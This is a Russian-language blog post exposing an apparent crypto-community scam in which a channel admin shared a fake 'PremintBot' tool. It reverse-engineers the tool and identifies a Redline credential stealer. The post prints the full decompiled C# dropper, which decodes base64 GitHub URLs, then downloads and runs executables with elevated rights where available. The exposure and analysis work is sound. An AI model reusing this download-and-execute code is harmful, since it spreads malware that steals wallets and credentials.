Масштабный скам от Халявного. Полный разбор с реверс-инжинирингом малвари.
Начнем с истоков
Кто такой вообще этот ваш Халявный? Уважаемый (ранее) админ паблика @HaliavimCryptu, гемхантер, со своим каналом и артодельной (с высокими наценками), сделавший огромное количество (по его рассказам) лавэ на влах, имел роль в Курилке.
Предпосылки
Еще несколько недель назад Халявный отключил все реакции кроме 🤮, 👎🏻 и 💩. Возможно он уже тогда задумывал закинуть малварь на все комьюнити, и когда понаставляли бы таких реакций, не вызывать подозрений. Но это уже более параноидальные теории, хотя исключать этого тоже мы не можем ;)
1. Буквально месяц назад наш герой собирал складчину у себя на канале для покупки курса по Майнингу от Фармера (лол), и конечно же собрав по 70$ с 10 человек, никому мануал не кинул, прикрывшись тем что продажник вычислил их склад (а не майнер ли он нам подсунет дальше :?)
2. В его артодельне, как оказалось, качество не соответсвует тому какие сники он прикладывает. Вот пример:
3. Более интересная история которая случилась 9 апреля 2022 года, про квест на 5к$.
Халявный и Бойлер заделали совместный квест, где собрав 12 слов сид фразы, ты мог получить NFT по их словам стоимостью 5.000$. Сделано это было ради хайпа и набора аудитории, ведь видимо по другому кроме как наебывать, двигаться Халявный не умел. О квесте конечно же все благополучно забыли, ниаких пруфов естественно никто не предоставил. А сам Халявный игнорировал сообщения с вопросами.
Начало расследования. Хронология событий.
Итак, 25 июня 2022 20:31 он выпускает пост с таким содержимым:
И за этими постами сразу же пост с самими файлами, но уже отключив комментарии:
Не поверите, но некоторые паблики, успели сразу же репостнуть и удалить впоследствии, ведь ничего подозрительного кроме слива "годноты" в паблик непонятно зачем.
Анализ малвари и разбор ситуации.
Любой, у кого IQ выше амебы, перед запуском левого файла пойдет просканировать вначале его на https://www.virustotal.com/, и увидев 32 детекта из 67 засомневается в запуске софта.
Однако вот что отвечает наш юный манимейкер:
А кое-кто даже умудрился запустить софт, и следом начать рассылать по всем чатам что у него украли 439$, однако особо этому верить нельзя т.к чел мог просто перевести деньги на свой второй кошелек.
Итак, приступим к самому интересному, анализу файлов!
Мы видим что софт действительно подгружает отдельный файл с гитхаба, но почему-то именно SandBoxAccounts.exe а не просканированный PremintBot.exe.
Перейдя на по ссылке увидим гитхаб. Нет сомнений что это дело рук именно Халявного, так как коммит был сделан ровно под выложенный пост, и дальше не редактировался.
Пытаемся декомпилировать файл PremintBot.exe, и огорчаемся ведь к сожалению он собран не Pyinstaller и не py2exe, спустя какое-то время понимаем что это C# и декомпилируем. Получаем файл с подобным содержимым:
Примечание: Компиляция - процесс сбора из исходников в exe.
Примечание: Декомпиляция - обратный процесс компиляции. Получение исходников из exe файла.
using System;using System.Diagnostics;using System.IO;using System.Net;using System.Security.Principal;using System.Text;
namespace UBkvxG
{
internal static class Program
{
private static void Main()
{
ServicePointManager.set_SecurityProtocol((SecurityProtocolType)240);
try {
ServicePointManager.set_SecurityProtocol((SecurityProtocolType)4080);
}
catch {}
try{
string @string = Encoding.Default.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vU2FuZEJveEFjY291bnRzLmV4ZQ=="));
string text = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
try{
if (File.Exists(text)){
File.Delete(text);
}
}
catch{}
new WebClient().DownloadFile(@string, text);
}
catch{}
try{
string text2 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
if (File.Exists(text2)){
ProcessStartInfo val = new ProcessStartInfo();
val.set_FileName(text2);
val.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? "runas" : "");
Process.Start(val);}
}
catch{}
try{
string string2 = Encoding.Default.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vdXBkYm90LmV4ZQ=="));
string text3 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
try
{
if (File.Exists(text3))
{
File.Delete(text3);
}
}
catch{}
new WebClient().DownloadFile(string2, text3);}
catch{}
try{
string text4 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
if (File.Exists(text4)){
ProcessStartInfo val2 = new ProcessStartInfo();
val2.set_FileName(text4);
val2.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? "runas" : "");
Process.Start(val2);}
}
catch{
}
}
}
}
Декодируем переменные через base64 online decoder и получаем такие значения:
@string = https://github.com/Cr3ap3r/Product-Red/raw/main/SandBoxAccounts.exe
text и text2 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/SandBoxAccounts.exe
string2 = https://github.com/Cr3ap3r/Product-Red/raw/main/updbot.exe
text3 и text4 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/updbot.exeСобственно это и есть тот самый момент когда подгружаются и кладутся файлы updbot.exe и SandBoxAccounts.exe
SandBoxAccounts.exe - собран PyInstaller
C декомпилировать нельзя, только дисассемблить, так что сначала посмотрим на SandBoxAccounts.exeПримечание: Дизассемблить - это процесс реверса кода до ассемблера.
Однако чуть позже понимаем что он скомпилирован с python 3.10, следовательно декомпилируется uncompyle6-ом. Приходится делать это ручками. После некоторых попыток получаем код подобный этому:
import threading
import requests
from urllib.parse import quote
from fake_useragent import UserAgent
from json import loads
from random import choice, randint
from base64 import b64encode
from loguru import logger
from sys import stderr
from urllib3 import disable_warnings
from time import sleep
from msvcrt import getch
from os import system
from colorama import init, Fore, Back, Style
import time
import random
init()
print('=============\nВведите данные от электронных почт в файл DataAccounts.txt\nВ формате: name@gmail.com:parol`\n============='')
print('Если вы ввели все данные, нажмите 1, если нет, то 0:')
i = int(input(''))
if i == 1:
x = random.randint(5, 12)
sleep(x)
my_file = open('SandBoxAccountsData.txt', 'w+')
print('Аккаунты успешно зарегестрированны')
my_file.write('Error. Неверные данные от почт')
return NoneТо есть никакие в помине аккаунты не регистрируются ;)
К сожалению updbot.exe декомпилировать нельзя, так как код написан на C, однако можно с легкостью более-менее понять что он делает.
Смотрим специализированным софтом и вот что получаем:
Да-да, семейство Redline :) Такие стиллеры продаются за +- 100$ на форумах.
Примечание: Redline Stealer - это вредоносная программа, которая собирает информацию из браузеров, такую как сохраненные учетные данные, данные автозаполнения и данные кредитной карты. Помимо этого еще из криптокошельков, FTP, VPN и IM клиентов.
Итоги
Халявный блин! В следующий раз когда будешь скамить покупай ручной крипт чтобы не детектили антивирусы. И не бери малварь от мамкиных кодеров с лолза :)
Примечание: Ручной крипт - это когда делают так, чтобы Малварь не детектилась антивирусами.
Примечание: Lolz.guru - школофорум.
И да, через какое-то время он наверняка вернется и начнет рассказывать что-то типа что "его взломали", однако если бы это действительно было так, то он бы сразу же вышел на связь.
Мой Telegram канал где вас не кинут > https://t.me/crypto_satana
Связаться по улучшению статьи > https://t.me/scissor_eth